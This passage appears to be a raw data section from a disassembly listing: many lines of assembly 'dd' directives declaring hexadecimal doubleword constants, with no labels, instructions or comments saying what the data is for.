		dd 5127A66h, 40296C74h,	0FD52DAD0h, 0D600AC95h,	67D21C1Bh
		dd 6A75A4h, 0D8F07CDCh,	14185A9Dh, 82CA7D39h, 0BDF6B17Bh
		dd 0DAA8A0DDh, 6714F89h, 6E789CFAh, 0CB01A0B4h,	8BCE3106h
		dd 6AE2C012h, 0C07D754h, 360C7094h, 0A8C0D8ADh,	21175441h
		dd 0B8DE5813h, 43450A7Bh, 0C0DC6048h, 9F035FDAh, 5352CC01h
		dd 0E7A1342Ch, 4E9BBC40h, 0F7571480h, 6B00846Eh, 0AE6A3168h
		dd 5800B9F4h, 0DA946660h, 3C56746Fh, 0A385802Bh, 0C0968165h
		dd 85060226h, 6BA40300h, 4CA611BBh, 0E147670h, 40CB1A39h
		dd 0E28B1240h, 7A07F262h, 9A0BE44Fh, 0AC98BEA1h, 2204D46Ch
		dd 86FF426Dh, 4400D914h, 0DEB0BC58h, 6079FB9Fh,	6E7B1E66h
		dd 14986993h, 0A7FEC01h, 23725049h, 5C2B047h, 0A2204059h
		dd 4847210h, 345E3E9Ah,	65A88C29h, 3326701h, 0C0DB41BBh
		dd 0FD8020h, 0FE42577Ch, 609448FCh, 0E60A7C90h,	0F077DCFAh
		dd 0B9E4981h, 0B98026ECh, 7BC90EEEh, 564CAA8Fh,	34BD02F3h
		dd 98350DC0h, 492238D8h, 0AA0B3C87h, 0E807D44Bh, 28A079CAh
		dd 6C123DF4h, 0FD2B8C02h, 4895B7B2h, 0F850AF8h,	0E07A8AFCh
		dd 6B594098h, 0DCA66502h, 80B41FD3h, 48364DA4h,	19750EBBh
		dd 9BC33E89h, 32C2ED97h, 0A82D1C40h, 6C9F7104h,	580247Dh
		dd 0F421C0D6h, 3CF41581h, 9507B8CFh, 60E08B17h,	0FBEFD5E9h
		dd 5580F31Dh, 1BF1A880h, 0C0A04AD1h, 3B991289h,	0F30E9AB8h
		dd 988E353h, 0B99C2033h, 569297DBh, 3E7CC87Ch, 0C280A26Eh
		dd 862D27CBh, 66005675h, 359812FCh, 0B5EF1h, 20E321F9h
		dd 8C78B887h, 30096A24h, 76730EB8h, 63E5A327h, 0B08F926Dh
		dd 8BC15AE4h, 64CBF4h, 0DF0BA246h, 60266BC1h, 5706A8D9h
		dd 9618D8ECh, 7DD9F42Eh, 9B4B72A8h, 0B0AF8094h,	1FF15502h
		dd 73013974h, 18AB131Dh, 1C22315Ah, 80B2FB02h, 0C469F971h
		dd 43000E81h, 9F0B09AAh, 8000B597h, 0CF94769Ch,	1C164714h
		dd 2120AEh, 7818458Fh, 9105D40Dh, 0D1EF7D39h, 0FBDDEC00h
		dd 3ACB76h, 19125C55h, 0EB8118E0h, 0E1097300h, 0F016D405h
		dd 0C2CE1244h, 0EF5400C0h, 261CF931h, 9C003C72h, 85E130A1h
		dd 7B3750Fh, 35678BD3h,	0A6590DEh, 690501DAh, 42C5DB12h
		dd 0B493B080h, 2D9D2E74h, 0AA730003h, 4443025Ch, 0A466804h
		dd 0B890CF5Bh, 15D1C9Bh, 0B53F95B9h, 0D8E5947Ch, 8000AD4Eh
		dd 38D71F2Ch, 76691E26h, 6BD600BEh, 53C8686Ah, 743F1915h
		dd 8F123D1Ch, 60A680B3h, 708E0514h, 688A04D1h, 90B4E601h
		dd 3A82E3D8h, 0E1141E7Fh, 858C6F6Ch, 0F0470811h, 0FCA0F7FFh
		dd 2A943Bh, 0AE43D648h,	0BCF213B0h, 0C4F4452Ch,	20FB428Fh
		dd 3C799D6Ah, 0D0C800F0h, 8740A996h, 0E07CF9D4h, 70F38300h
		dd 2478DBEDh, 8855001Eh, 22B2E4DAh, 411C8A2Ah, 541D6D16h
		dd 156E80C0h, 0C34DC4Dh, 66D495ABh, 5D00F846h, 0BAF4A34Ah
		dd 0B83C3A11h, 759A1877h, 0FA4820F0h, 0DCF83000h, 0F1A6A8D7h
		dd 48249A64h, 0B30018E6h, 19A18BB6h, 6803FDA5h,	95AF53C6h
		dd 74C1E844h, 7090527h,	0D29182h, 0D329CC80h, 72014D86h
		dd 0B5EAB7A1h, 0F0D4D5C6h, 1CD00155h, 0C2CD4E8Fh, 0C0306461h
		dd 803CC4B1h, 58EC1B6Dh, 58CB9CBh, 0F8FC13E2h, 0E740C863h
		dd 417F8300h, 6FF1E467h, 292E005Ah, 0A9A8E80Dh,	0FA02C32Dh
		dd 0EFEB2B58h, 446438h,	0DBA59E8Ah, 0CAC5DA6Bh,	0A68CDD3Dh
		dd 0CD860849h, 0C1B6BD5Dh, 0A9E58AC0h, 2068EABFh, 0C49A96BEh
		dd 5BB57E07h, 44302425h, 2C02A74Ch, 64D4DF7Ch, 57E831AAh
		dd 98A038EAh, 0F7CCB4Dh, 0ECE8C021h, 10A6858h, 85B44A93h
		dd 0ECAA8E75h, 0EC9ADF37h, 53E6C21h, 9C6889FEh,	3900F7C4h
		dd 0B9D1CE8Bh, 9A056693h
		dd 0B3151724h, 0E4B81186h, 5C60C1DEh, 20184F75h, 27DDB7Ch
		dd 4C58FA5Ch, 1DC40F58h, 0C0C100E1h, 5B718BFh, 3CA23EE8h
		dd 78649C11h, 0A9008EEAh, 0FB3ED961h, 9ACB9077h, 0A3962144h
		dd 8F013424h, 766C9816h, 2672C2CCh, 1082EF1h, 7420B8D3h
		dd 0DFBDD8B1h, 14DB3A25h, 0C1572218h, 0D6717E00h, 0ECE050C5h
		dd 6263F9Ch, 60E91Fh, 101B4A8Bh, 7001985Fh, 6389F38Fh
		dd 0C0408A6Ch, 144BB0h,	0CDE694A5h, 0C0472A39h,	1D0317F2h
		dd 20CB8D61h, 2C3AE02Dh, 0CD321630h, 18CA187Ah,	815652BBh
		dd 0FAAA014Ch, 1C89762Dh, 0F0022028h, 886F6E23h, 0CD4BC68h
		dd 55672B03h, 98251BEAh, 5D165Ch, 93BC3FE4h, 442447ADh
		dd 0A8A42100h, 2BDA6D4Fh, 907F00FFh, 27D79408h,	0AB0077B5h
		dd 5887918Bh, 1BB3701h,	0EEC0F8B9h, 409BE0A6h, 9E8138A4h
		dd 4E002FEh, 0AEDA1600h, 8F447283h, 0DD7B03FEh,	6C20D755h
		dd 225CD000h, 0C4410AB3h, 4C3E3A42h, 15586700h,	0D8A3191Ch
		dd 77515C94h, 1C6CC8FEh, 0A1799Eh, 871B7F0Ah, 0C47B45FCh
		dd 39054890h, 620C5007h, 5F2800Fh, 0C0009C65h, 816A54F3h
		dd 2BEF198Ch, 0D534202Dh, 4F3880BFh, 0D5035432h, 0E70237A1h
		dd 4E0B3068h, 0EE03728Bh, 3714B4F2h, 50FE13h, 0BAFD8A96h
		dd 0A668A8C2h, 86DC4600h, 609AAD66h, 0A0640749h, 6F287F25h
		dd 20B502E0h, 1C006C22h, 55B18CD4h, 71D0A0D3h, 83101DCh
		dd 0C315415Ch, 0CE1C3475h, 46B3FB00h, 9C428658h, 0EF0A3F07h
		dd 54743480h, 6962BE23h, 378BFB00h, 0D97A48ADh,	0C89F0005h
		dd 47F58C2Bh, 5000FEE8h, 2E2954DFh, 5437207h, 0E72FDE2Dh
		dd 1454C04Ah, 3F2EAF81h, 80BF04C1h, 95D53E9Ah, 4CBBA178h
		dd 0DD0070E6h, 1B1F4DAAh, 0ECEB2422h, 6C00B747h, 0F8F39353h
		dd 0E4951D16h, 912C1DD2h, 0C1DC8072h, 0A94A5570h, 0C326EC12h
		dd 5711C91h, 77E0D9DDh,	3A60038h, 83FBDC47h, 0ED006818h
		dd 0C660800Fh, 66F7B6Ah, 9DB2BA6Ch, 0BCF240C4h,	4CA4000h
		dd 98D4B1F6h, 5D4907B3h, 9173649Ah, 0C4995F16h,	0D93B6D6Ch
		dd 3977701Eh, 0DBEF1300h, 0A25814DDh, 0C7980086h, 3FDF95B4h
		dd 0C539821Dh, 0BCEC80ADh, 212FE1AFh, 86660036h, 5518B505h
		dd 7600C3B9h, 0EC48939Eh, 1E5265F3h, 47256F2Ah,	0F1688D22h
		dd 0E804B3A5h, 9B00C46Bh, 0B0665220h, 25CDCFh, 0DE278ED1h
		dd 0A9872854h, 33DC2300h, 0DBE0838h, 0E9F29Eh, 57FBD82Bh
		dd 0DB872D5Ch, 0A3E58E00h, 53A21D04h, 44B00062h, 31A68C1Bh
		dd 0DE002CD1h, 0BEFA9C5h, 5EB961h, 93B13437h, 1224F6B3h
		dd 5DA8CD02h, 72ED6B69h, 0E8B00038h, 0E9365A89h, 0F376AADEh
		dd 9A753377h, 61C06812h, 6244E700h, 5F98FCh, 0ABEC0A34h
		dd 2A417826h, 9C2F7F00h, 0A093FBB8h, 0E8F90013h, 3153A370h
		dd 909CB90Bh, 2CD612BDh, 88588081h, 12FFB1D4h, 400B56B3h
		dd 21152EE8h, 54F8A30Dh, 0DA931D02h, 8071DE9Bh,	496C1ECh
		dd 706400A0h, 110A7F74h, 3800DC48h, 0A3D7E9F8h,	0CC888Ah
		dd 0B73B2C58h, 2F8320E4h, 8D6046F0h, 17033F7Ch,	36FCE1h
		dd 7FBC1891h, 6B876F72h, 96012790h, 5AC10878h, 0EC30B909h
		dd 14BF007Ah, 9207CBAAh, 96032095h, 1D5D3603h, 0A5D0F770h
		dd 603866h, 4591F2B3h, 9BA2CB09h, 4F476F00h, 0C525D6F6h
		dd 0A77B0028h, 67902268h, 496033D9h, 43EC2334h,	1B0E0510h
		dd 1FB5F04Ch, 80CC9E84h, 8E904866h, 297B01CDh, 3AC55D20h
		dd 1FFE3A5Bh, 3D8B4FEEh, 0EB7DD680h, 0E25726Bh,	0E6D01000h
		dd 2F3B832Eh, 0C8C60080h, 7926AFD5h, 41004AF1h,	9FD3844Ch
		dd 4C804053h, 7B00F07Fh, 3DAFD9FEh, 0ED724102h,	0F9188400h
		dd 77DFDA13h, 0A4110494h, 80E089ECh, 642C099Ch,	7C1CFBECh
		dd 0ABC2B2F2h, 80F531BCh, 0E8E56F0h, 0C3751Fh, 7ABAD02Dh
		dd 0B1F0374Eh, 0FB58F100h, 8007C208h, 0C185036Ch, 20907967h
		dd 0AC3BB498h, 92654100h, 9EC0C43Ch, 1B690070h,	76E1E80Fh
		dd 3A3BB259h, 0D24D8014h, 49936891h, 645A181Eh,	667B4983h
		dd 45A3180Ch, 0BB104Bh,	508588A6h, 0B26AD86h, 136F3E00h
		dd 0B5D57B63h, 1BF03C70h, 3A0EE45Ch, 0C0846744h, 94AE42E6h
		dd 4FA4C8E0h, 3389006Eh, 25E2878h, 4C709BF8h, 9E0AD678h
		dd 0E046BFAAh, 0E5062100h, 5E715B88h, 0AE08003Fh, 0D4B2D0B6h
		dd 9A4D8500h, 0EC9DF28h, 3C9600C0h, 8FF3EBD3h, 5500A632h
		dd 34C618FCh, 951D7953h, 0F83D4CE0h, 0CCE1C00h,	2CAC77D3h
		dd 6DE0034h, 240D50C2h,	0B12EF2C0h, 0CE83CC4Fh,	0C03C16BDh
		dd 1D23B22h, 954159EFh,	83170CB3h, 8D943E90h, 0CA31004Eh
		dd 0C119B691h, 1818B349h, 0C0B81E60h, 0F5B82631h, 97760698h
		dd 8FF42079h, 2B00A3E8h, 729322F7h, 5D9EB54Eh, 151FB4B2h
		dd 0C0DF1F50h, 0D208633Bh, 0D618C2B0h, 0EA4076B1h, 93D714C0h
		dd 0B8145878h, 9A004CF7h, 0A15AEFE2h, 6F004720h, 0B3261D1h
		dd 0E127A0Eh, 3433664Dh, 79721360h, 2D004002h, 9777CBD9h
		dd 30AD3520h, 53595176h, 231CD584h, 0B143B9C1h,	0A3B689B8h
		dd 15210044h, 91E3D35Bh, 0E00AFCAh, 1619D509h, 1137C8Dh
		dd 3F9D4D9Fh, 0F0DE2BE5h, 8E1B3411h, 0D0E9B39Ah, 0FCB02EBh
		dd 18290F30h, 80AD0959h, 223FE21h, 0C6F89A4h, 699EAFC0h
		dd 1CEEB448h, 62F0C92h,	0D7BC00BCh, 1C62BC4h, 523CA5FFh
		dd 2CD4AE53h, 8F33077Ch, 150034D9h, 6F293F4h, 0A0BF1281h
		dd 8A00494Eh, 0AE0390BDh, 6EC7F4Dh, 25B0C572h, 0CCFE7AB1h
		dd 66BAD750h, 213E31C7h, 15BD2341h, 0EC6F1180h,	0F23BAD8Eh
		dd 9442EF19h, 8C6C8B09h, 8EEE0F01h, 0CC73476Ch,	0EA06DDFEh
		dd 0AA9AE024h, 770307F1h, 0E091B331h, 374740D5h, 1EDC6502h
		dd 0E18DFFBAh, 4AD13E36h, 44768452h, 5DD0700h, 81D979E3h
		dd 485327EDh, 48C85B8h,	30CC02B0h, 12FD38B7h, 3BC0228h
		dd 0C4145FBEh, 0A48AA088h, 0D2BF4D1Dh, 22CD9E40h, 0E2B265h
		dd 0ADC2C79Ah, 8C898E3Dh, 72606B00h, 58871036h,	27650733h
		dd 20CA9FF9h, 79844A1Eh, 59179B00h, 0B2E92589h,	0CF960010h
		dd 2EC0AB40h, 0D30508E8h, 9BE2BA66h, 4A4EC3h, 0E4573930h
		dd 0CFC86EECh, 0B3B78B39h, 7C0897h, 0EC878A21h,	0AB208C54h
		dd 0D2C17A01h, 4628F5EDh, 64253700h, 2D92D500h,	0BBCCE3Ah
		dd 0FB4EE70h, 0A633171Bh, 0CD202120h, 4903F7DCh, 0B84A522Ah
		dd 5F600050h, 0A067FB6Fh, 0A8734B36h, 2E796963h, 0D261482Fh
		dd 0D10C7307h, 742610E3h, 6F24F385h, 3700EA33h,	8D3BAA9Bh
		dd 53B90116h, 0E2A9F588h, 891ED840h, 20496100h,	17BA0A4Bh
		dd 56313043h, 74E17B59h, 0BB032998h, 6B204A16h,	7F48A31Dh
		dd 77B90021h, 0A8C11F65h, 81E61687h, 0BE3E50AEh, 0E3360059h
		dd 9589C7FAh, 0F44203B9h, 415FE663h, 484417B9h,	770FBA3Ch
		dd 0B0D318B8h, 77F2E0B0h, 27E3D0Fh, 0C4C36FD3h,	0EC00510Dh
		dd 137B7A44h, 4D63101Eh, 0C0DA9C00h, 3A14E4EDh,	280030E5h
		dd 58112740h, 0A12037A8h, 44D9A09Ah, 0D781A05Eh, 0E677E1h
		dd 85DC071h, 3024A74h, 415CEA01h, 99A0184Eh, 2E373980h
		dd 0B481A7D7h, 4DFC700h, 0EF9E116Ah, 1A9102ECh,	341069E5h
		dd 7E17C480h, 8C6AE48h,	0F841232Dh, 71FB5868h, 4FB63F0Ch
		dd 0B3001928h, 0B25AE416h, 3AB42B37h, 0A303693h, 16BAF6E9h
		dd 8AE7DF01h, 55943F8h,	0AE8C0EAh, 1255FC03h, 47A538B0h
		dd 0A2E300h, 5A8DB801h
		dd 0DB8E9A01h, 320D0F41h, 1BEC20E1h, 0E4D100EBh, 45DD1152h
		dd 58EC2D3Ah, 9B563417h, 779C018h, 75E10004h, 147BC069h
		dd 10EF842h, 20FCB5ACh,	0BBFE98A1h, 7A3424A8h, 40AA4404h
		dd 72A6087Eh, 239F0088h, 0F4F518D9h, 8300F9BBh,	0A27DB0CEh
		dd 987AF178h, 0C0AF0173h, 980CB2E4h, 0AEC88ECBh, 77E8E01Ch
		dd 3CD06F8Ah, 47CC8D38h, 74B3A80Ah, 33C686C8h, 500F979h
		dd 3B5730BFh, 44EBB1h, 5914D6FBh, 0B446DC73h, 0DE5B0400h
		dd 7B5FB8E5h, 32AB2AAAh, 5D2858D4h, 99FA7006h, 476060BFh
		dd 6520C0D1h, 64E6002Fh, 0F1D06B77h, 0A10A2185h, 94093FD8h
		dd 0B8AD6780h, 80A9Fh, 0BBD30BAEh, 4E6B1FA4h, 80A0293Ch
		dd 0B18F5F28h, 1311B97h, 0A87ED751h, 0D046C84Fh, 0D60159E8h
		dd 0AD87BD34h, 598002C6h, 1E29F211h, 53F92870h,	3880B1ACh
		dd 543FA5D2h, 1999B02Bh, 45F6F5h, 5561B528h, 0B3FD4DDCh
		dd 64275F00h, 4AE5E13Eh, 0FA5800B9h, 0A3291D15h, 59307B4Fh
		dd 0D3E28AB1h, 0F5070FCCh, 4763F15Ah, 5790CE29h, 3005E008h
		dd 32236094h, 4C1A046Eh, 41E4802h, 18DFBA3Eh, 3F105368h
		dd 614E73D8h, 0EB75095Dh, 61B8C8B7h, 4250D9E5h,	0E803841Ch
		dd 0F081449h, 0EA8F200Eh, 0E38E2380h, 80CB85Fh,	0D170032Ah
		dd 50288B33h, 8F281863h, 0C8314CDFh, 6095094Dh,	1C5A5847h
		dd 900D388Ah, 964DC74Eh, 946E50FAh, 60A97C10h, 4209BDD0h
		dd 0B0AC70D8h, 6620B748h, 65C9E981h, 30BC09F0h,	0E682501Ch
		dd 410870DBh, 141144B0h, 0D18CC9CBh, 7318CC30h,	684C9652h
		dd 6BE05011h, 0F93810h,	0E9E4CA73h, 514E5FABh, 4941ECA6h
		dd 9F6BC641h, 9B482E1h,	0FC043A21h, 64192837h, 57D529C0h
		dd 0AD9500C4h, 50CD24FCh, 0BFF3A00h, 2D0D1CB1h,	0E40E4416h
		dd 0D075BE01h, 3ECD7028h, 0FF7100FEh, 38C0C6CEh, 24F9549h
		dd 406E495Bh, 14B0C50Ch, 0BA00DE49h, 621750CCh,	0F6CFFF51h
		dd 0A7342432h, 0A383B99Ch, 63023940h, 0B7619800h, 3864BBC0h
		dd 0B4302892h, 0CCBC1834h, 1F2249B8h, 80CD123Ah, 0F9B10E13h
		dd 0E8B26306h, 0C0E807h, 3912A8A4h, 95378CB0h, 4E893818h
		dd 308D82F9h, 4F085F48h, 0F8F17503h, 46615B08h,	0CF9B0C1h
		dd 3B03519Dh, 3711F100h, 0BCCB0960h, 16333400h,	0AF3F43F2h
		dd 6D323CCDh, 96496300h, 71C06184h, 19799506h, 1FD96621h
		dd 80B1FF02h, 162CB9F5h, 0A5319A1Dh, 5C50E8BCh,	0C310130h
		dd 47E39323h, 6A003289h, 3F480688h, 7C337483h, 0B9E30E54h
		dd 5C8A9231h, 0F4E007BCh, 65C281D0h, 0D1C19454h, 0D9490F88h
		dd 89381824h, 47B507EAh, 9CBCF744h, 69CC4530h, 0DC61E00Ah
		dd 29BD8EE8h, 0CFD04052h, 76326AE4h, 4CEBBF04h,	4829A43h
		dd 8C1080CBh, 393930BDh, 0A1E10F04h, 470847FDh,	18AC2AB0h
		dd 0E8C79975h, 0A0DD902h, 862AA083h, 49509998h,	392B2C62h
		dd 0B0A0A8h, 605DFF67h,	0FAAD4464h, 156CE449h, 1804B5Bh
		dd 8E11C043h, 0B84A2623h, 0C8BBBD10h, 50589EB5h, 785C000Ah
		dd 0B8084DB0h, 0C9820084h, 0F99D505Eh, 3901556Eh, 3DB70A05h
		dd 3C72F89h, 3294B958h,	2DB8F73Fh, 6077992h, 580D1F83h
		dd 211205C0h, 0D62E00BDh, 558D3B54h, 0AF003851h, 854CB07Ch
		dd 3199C70h, 31297E07h,	0F81D76DEh, 60F00389h, 0B2AA48FBh
		dd 0A021F050h, 80089C90h, 0A4988CCCh, 88B5B883h, 481F3330h
		dd 29D18D09h, 1D3CD840h, 0AC4CF50h, 508C1A4Eh, 0FB80BA51h
		dd 0BBC420B7h, 558C0C91h, 7C8281B8h, 0D34F09EAh, 301470C2h
		dd 298BAA35h, 34C22C1Ch, 84324F40h, 0CD04514Ch,	0ECC05941h
		dd 291EF198h, 1003A8Dh,	335CBC8Bh, 2483C5Bh, 153568CEh
		dd 8086844Dh, 9400412Ah, 0F6343CD7h, 66527696h,	294C9151h
		dd 0CF056042h, 3E273Ch,	4435073Ch, 58A485D9h, 0FA772B7Ch
		dd 22893F14h, 0D6978048h, 931785h, 1686FD79h, 0D4B345FAh
		dd 0F6326F06h, 220E08Ah, 0BC5F3C5Ch, 0B841259Dh, 0A8161365h
		dd 664D486Eh, 79361839h, 0B30CE0E6h, 7115BA3Dh,	660F2472h
		dd 685914C8h, 0B010D115h, 79D38877h, 40305C98h,	31F63961h
		dd 1F047544h, 80D4B534h, 0B94BE8C8h, 691CAB0Eh,	8CA8D035h
		dd 3228CC22h, 3210C5D4h, 353EA02Fh, 24032295h, 81A81E76h
		dd 370CF0C6h, 807FC927h, 0B2F76081h, 18E00933h,	78174D8Dh
		dd 0CCF0DC51h, 0E33595F2h, 0C818C156h, 1EC17118h, 1F493B8Ch
		dd 0FD10831Fh, 97894C5Bh, 0C882EEACh, 9880BDF6h, 73C6F1E2h
		dd 0F96E901h, 0C77D04B9h, 1D6FC30h, 7F3494CDh, 809A364Bh
		dd 0E9E24FB0h, 264A6CC4h, 14F04C7Eh, 49C08C32h,	74693EB4h
		dd 35CCB5A0h, 4B848D00h, 0CD0D9948h, 507A601Ch,	237E03BCh
		dd 0E8E53331h, 5060AD36h, 55F12D2h, 9C5C14A9h, 0BD14491Fh
		dd 0BE765062h, 0B1009C64h, 15F53870h, 13D7D0h, 339B451Eh
		dd 12363CC6h, 0C22A3C98h, 0C4C7B428h, 1E73B760h, 0B0C6C06Bh
		dd 28226088h, 0D2722DDEh, 33D98403h, 165004E6h,	68A4E918h
		dd 0B8025EECh, 0F3C80455h, 61948285h, 0BC90C012h, 0C73B049Fh
		dd 80F095B0h, 41F517F4h, 4704B50Ah, 0BA03ACC9h,	3E13243Ch
		dd 9E03B230h, 0BD0E22C2h, 75E7D480h, 174E441Fh,	85BE5489h
		dd 2843C810h, 4D58AADFh, 86AB019h, 4DBB0320h, 0A90E5E36h
		dd 540449BAh, 171AC060h, 6B89073h, 0B0CA379Fh, 1D0859ADh
		dd 20BDEFB2h, 0E1280090h, 73034E97h, 17282591h,	0B4C48C2h
		dd 0CCB9150Ch, 0BB09157Ch, 60783C08h, 3DD6E279h, 96F1C105h
		dd 50C2F2FFh, 9468CC84h, 49280892h, 0F549C23h, 0FF92848h
		dd 8604B806h, 0A40C48C3h, 3974A8C7h, 1F8FEC93h,	1885F08h
		dd 0D3647622h, 0CE5440E8h, 0BA509543h, 36F4D018h, 0D40A2F75h
		dd 50CC2A54h, 0E93B6406h, 0DE830039h, 16EA3396h, 0C45439CAh
		dd 5E1586CCh, 8CFDC7h, 0D8556D0h, 90C9AB52h, 423E44F8h
		dd 13C85E4Ch, 540105A1h, 2B7643F0h, 4CF66824h, 0C07E4427h
		dd 639D9311h, 2A7C3B8Dh, 0D94FBC03h, 40FCB75Eh,	8890DC69h
		dd 0C73A8F17h, 0B17E8677h, 0E8190E91h, 946017E0h, 0F1383195h
		dd 0B622E458h, 29984063h, 30281E17h, 6B4A428Fh,	0C84045A6h
		dd 0A554CCBDh, 4403E4B0h, 1FBC8017h, 6C75A814h,	0BE4D09ADh
		dd 408274C6h, 40084F5Bh, 50964054h, 90DF4223h, 6005033Bh
		dd 130B1332h, 7DF0C18h,	0CB098188h, 0E6CC1411h,	58CFACA5h
		dd 0CB1CB854h, 1037BCA1h, 907DF60Bh, 5F173044h,	151FE240h
		dd 0B080160Eh, 0B1A94CC5h, 30B73961h, 95106DA6h, 18080C0Bh
		dd 8C906E11h, 7B1ACCFh,	2DC56FB8h, 0EBEE0C1h, 1CF3CD8h
		dd 521CBC06h, 303D715Ah, 66301B70h, 9340C964h, 0D6E70E6Bh
		dd 0E3230AA4h, 4BAB108Ch, 5AF72100h, 7688C170h,	0C3F40027h
		dd 68B94F78h, 40153F8h,	3D6E5216h, 0B040A287h, 0A42530F6h
		dd 6B9D0430h, 6794D6E9h, 2118A0E9h, 71157065h, 0FA5E00E2h
		dd 6C6E7DFCh, 0B024D4B9h, 7007CC3Ch, 68BD82FFh,	69BD4835h
		dd 978065A1h, 84D6AB6Bh, 4944860Bh, 707F0B23h, 0F002E3Eh
		dd 71A8E674h, 0F1F5B0Ah, 340BA014h, 9A09C6h, 80DFBCE8h
		dd 209937h, 461007A2h, 6E0D24EFh, 823882Ah, 429100FBh
		dd 0A16B552Fh, 0C500E3C9h, 0DCF3E9FBh, 2C9DE0B3h, 9860A9DDh
		dd 73503197h, 7C2EA00h,	0FC29A18Bh, 27F0524h, 8130D912h
		dd 4058B638h, 51B3BCD8h, 9D08F400h, 0D6D2FC04h,	0AA980020h
		dd 3E8DA49Eh, 55C7771h
		dd 7C551C03h, 78FAA0C0h, 0C0B2C9h, 776BECF6h, 0F8F45492h
		dd 79445B03h, 0FFC9FF4Eh, 8717A460h, 77467BECh,	8275F6h
		dd 0EB02640Ah, 38E3CA42h, 7D980C0Ch, 0BE6967h, 8B0640F1h
		dd 3E599050h, 297CA273h, 393E417Eh, 0D9F61E8Ch,	0C334E9C0h
		dd 6075D6E4h, 1CE1193Bh, 603E3ABEh, 9842000Ah, 0F1022E3Dh
		dd 0C74B008Ah, 941E2A9Fh, 0E93EFC10h, 6900F491h, 1B0892EEh
		dd 3432023h, 7F8C9811h,	0CABB446Ah, 0F81097C9h,	0EB015FA9h
		dd 8D1DD8A8h, 0E060CB8Fh, 186A0065h, 901A68D6h,	6900D139h
		dd 0BB8C8EBEh, 9C450Fh,	0DE4AFC41h, 80528DAh, 0CA1C300h
		dd 1885F867h, 0BEEA2Fh,	0EF844293h, 4F5CE76Eh, 430B8200h
		dd 22B0AE98h, 0EFB0653h, 311BB96Ah, 8EE99400h, 9D4971DFh
		dd 0A62801DCh, 6105B14Bh, 5F2FCC85h, 25665E00h,	0F8BE6A01h
		dd 0DD2300AFh, 0DE7DA5F3h, 69015135h, 0E7BA3BBFh, 588C8ECAh
		dd 3961D6B9h, 8087A438h, 3E6DC5DEh, 36F6AEB1h, 5021194Ch
		dd 84DD0A01h, 149BCAA5h, 6D828E0h, 0E65EEFACh, 30029C5h
		dd 0E1600AABh, 0DCBD58h, 0B78943ACh, 1357E3B2h,	0D63F9D00h
		dd 6FFFF71Eh, 7B5801ADh, 0EEE94FCAh, 7B6C009h, 1154EA1Eh
		dd 849DD7C2h, 167660CFh, 0A7CC0EA9h, 63204F1Bh,	0DC03089Bh
		dd 891EC9C0h, 8C2B3Ah, 8FDF8AD2h, 376653E8h, 0DEE7F00h
		dd 0E43998A4h, 91D20FB0h, 21A34BB3h, 592A3FAh, 68D79883h
		dd 500DC1DBh, 588F2604h, 3E5A6FCCh, 2C00A0F1h, 9F9C17B3h
		dd 0F400B046h, 0E6D97E1Dh, 688D38h, 5911E388h, 54A9AC2Dh
		dd 35602274h, 894B3B21h, 73DA0306h, 4037025h, 325481F0h
		dd 0A23E14F2h, 26E600D0h, 28AC1E55h, 18EEB6h, 29081B5Fh
		dd 75C56A64h, 106D3A3Ah, 0B5002A23h, 82D819F9h,	6600EA0Ah
		dd 0BDE1582Eh, 72E82F77h, 0D688067Bh, 884B8025h, 216F60C4h
		dd 0F619FD30h, 0C3742238h, 6B002422h, 0B5E2FE95h, 14F29Ah
		dd 0CB72B4B9h, 5E825946h, 0EE8F6203h, 1865647Bh, 382D3868h
		dd 0ED180927h, 0BF69C657h, 69A8018Bh, 86B9223Fh, 7F58E867h
		dd 970C4003h, 8AE8A6h, 0BC27E540h, 66243B0Dh, 8F58C600h
		dd 0B0DB7153h, 60E9608Dh, 0F4DF1096h, 96A2F09h,	0C2C877Dh
		dd 219046h, 0FEECD97Fh,	33F031DEh, 50669307h, 89E285DAh
		dd 0A06DE1DFh, 0B2EDE040h, 0F0987B07h, 0E6EB5827h, 0E24FC200h
		dd 8C08A69Bh, 15D7E3Dh,	0C8032093h, 0C08EFF87h,	29A0FE23h
		dd 0F48CF8FBh, 0A007D7Ah, 6FDD1C6Bh, 56731Ah, 960C7198h
		dd 0EC0D55B2h, 3A044700h, 8D8664D9h, 2B2000E5h,	0FDA8D17Ah
		dd 53003730h, 4D561231h, 78DC3DDh, 3894D369h, 807D8048h
		dd 0EE03795Bh, 96AC28AAh, 0E508307Ah, 5B88E731h, 6F240600h
		dd 5A918CAEh, 1DDA0021h, 0A99D71C3h, 0E4075718h, 0DB7ABCA8h
		dd 0CAC656C0h, 0CB7F02E6h, 1C528E54h, 8AD66F01h, 0A35851DBh
		dd 0F3BB8180h, 8033F727h, 6017F12Eh, 4C026F00h,	1919D8BCh
		dd 4456FE0Eh, 80D9E9A6h, 25BD4D60h, 1C32C016h, 0B34A5A7Dh
		dd 2101E309h, 0DE03EC9Dh, 53D8CC6Ah, 0B6820844h, 0B980AF4Ch
		dd 219F76E8h, 752837B8h, 32CFA0h, 0F54F461h, 0F103F0F5h
		dd 3F28BC60h, 1E200FDDh, 51E03806h, 0B518EE4Eh,	7DB0C4F8h
		dd 950A2500h, 32A5FDC5h, 0ACCB31EDh, 0F8A8D2E1h, 92F0BF51h
		dd 0C97BF979h, 4DE6E900h, 5D0FBAD6h, 35540C16h,	0F068476Fh
		dd 9EF2560Fh, 0BEA9603Fh, 0AACBA98h, 94C36F86h,	24A380A0h
		dd 0C69148C8h, 2783CE01h, 1E37C40Bh, 0C05149CCh, 29454DD1h
		dd 9A006979h, 61C663E2h, 396B1C5h, 0C397BC6Eh, 0E5A0B345h
		dd 5C003D38h, 1142F2C6h, 28156D31h, 0A2BC5736h,	0FEBC1853h
		dd 32C51116h, 999E8CD5h, 16E9079Ah, 752CB46Eh, 55B82050h
		dd 0CF1FFAA2h, 1B91A834h, 513C7700h, 6EAA162h, 106D3B24h
		dd 59AD9100h, 9047D57Ah, 0CC380060h, 0C393EE05h, 2C28C5D4h
		dd 0D9EA944Ah, 0A87DB130h, 771A69h, 1130FBA0h, 0D6246193h
		dd 16ED7118h, 0A29E420h, 0C4A11D4Ah, 5D807020h,	9040FD43h
		dd 3FC8C2E4h, 0E8A03D2Fh, 3A905FC7h, 0A8CC0A3Ah, 0CE04B813h
		dd 43251F94h, 532D1490h, 383744Fh, 0C46F5950h, 10A35868h
		dd 0A2DCF909h, 0BC3C804Fh, 0D7B531h, 93298883h,	0DA26B287h
		dd 9A00017Ch, 0B58DEC3h, 24A91AAEh, 9600C7BCh, 38D710CBh
		dd 954F6D83h, 0C58A0A1h, 6E440FEh, 8544A03h, 303540CFh
